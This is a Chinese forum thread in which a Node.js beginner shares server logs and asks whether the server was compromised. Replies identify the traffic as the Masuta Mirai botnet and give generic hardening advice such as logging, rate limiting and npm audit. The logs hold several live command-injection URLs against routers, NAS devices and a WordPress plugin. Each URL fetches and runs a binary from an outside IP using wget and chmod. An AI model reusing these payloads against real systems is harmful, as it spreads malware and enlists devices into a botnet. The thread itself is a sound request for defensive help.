Nodejs 新手求帮忙看看 web 后台 控制台输出这些 是不是被人黑了
Nodejs 新手求帮忙看看 web 后台 控制台输出这些 是不是被人黑了
网站后台空闲会输出这些 进了这些 IP 看了 里面都是像文件列表一样的
debug: Requested :: GET /cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%20%3B%20cd%20/tmp%3Bwget%20http://178.128.11.199/rvs%20-O%20/tmp/rz%3Bchmod%20777%20/tmp/rz%3Bsh%20/tmp/rz%20
debug: Requested :: GET /login.cgi?cli=aa%20aa%27;wget%20http://178.128.11.199/qtx.mips%20-O%20-%3E%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz%20dlink%27$
debug: Requested :: GET /cgi-bin/cgi_system?cmd=raid_setup&act=getsmartinfo&devname=|ping%20-n%200%20localhost&rand=1452765315144;wget%20http://178.128.11.199/qtx.mips%20-O%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz%20exploit
debug: Requested :: GET /maker/snwrite.cgi?mac=1234;wget%20http://178.128.11.199/qtx.mips%20-O%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz%20exploit
debug: Requested :: GET /wp-content/plugins/dzs-videogallery/img.php?webshot=1&src=http://localhost/1.jpg$(wget$20http://178.128.11.199/qtx.mips%20-O%20/tmp/rz;chmod%20777%20/tmp/rz;/tmp/rz)
只是试图让你机器帮忙挖矿而已
这是一个 Mirai 僵尸网络变种叫 Masuta,最近比较活跃,使用 5 个漏洞传播(都是针对 IoT 设备的),只有一个是针对 Wordpress 的,你的网站如果用了 Wordpress 自查一下这个漏洞( https://www.exploit-db.com/exploits/39250/)就好了,不是 Wordpress 的话更不用担心
作为IT技术人员,理解你对Node.js后台安全的担忧。首先,控制台输出异常信息并不一定意味着你的服务器被黑了,但确实值得仔细检查。以下是一些基本步骤和示例代码,帮助你排查问题:
-
检查日志: 查看Node.js应用的日志文件,特别是错误和异常日志。使用
console.log
或更高级的日志库(如winston
)来记录关键操作和异常。const winston = require('winston'); const logger = winston.createLogger({ level: 'info', format: winston.format.json(), transports: [ new winston.transports.File({ filename: 'error.log', level: 'error' }), new winston.transports.Console() ], }); try { // 你的代码 } catch (error) { logger.error('Error occurred:', error); }
-
监控请求: 使用中间件(如
express-rate-limit
)来监控和限制请求,防止恶意攻击。const rateLimit = require('express-rate-limit'); const limiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15分钟窗口 max: 100, // 限制每个IP最多100请求 }); app.use(limiter);
-
安全审计: 检查代码库和依赖项是否有已知的安全漏洞。使用工具如
npm audit
来扫描依赖项。npm audit
-
网络监控: 使用网络监控工具检查是否有异常流量或未经授权的访问尝试。
如果控制台输出包含敏感信息或明确的攻击迹象(如SQL注入尝试),请立即采取行动,包括但不限于隔离服务器、更新密码和密钥、以及联系安全专家。